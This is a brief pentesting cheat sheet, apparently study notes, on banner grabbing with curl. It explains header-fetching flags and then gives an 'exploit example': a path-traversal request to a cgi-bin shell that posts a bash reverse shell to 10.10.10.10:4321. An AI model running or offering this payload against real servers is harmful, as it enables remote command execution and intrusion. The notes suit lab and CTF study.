Banner Grabbing / Web Server Headers
Basic Banner Grabbing:
curl -IL http://{url}-I: Fetches the headers only.-L: Follows redirects (if any).
Custom Headers:
curl "http://{url}" -H "{header parameters}"-H: Adds a custom header to the request.
Exploit Example:
curl 'http://10.10.10.10/cgi-bin/.32%65/.32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/10.10.10.10/4321 0>&1'--data: Sends data in a POST request.bash -i >& /dev/tcp/10.10.10.10/4321 0>&1: A reverse shell command.